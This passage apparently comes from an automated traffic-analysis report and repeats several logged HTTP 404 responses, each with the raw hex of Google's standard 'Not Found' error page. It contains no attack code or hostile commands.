69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:33 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:35 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:37 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:38 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:41 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:42 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 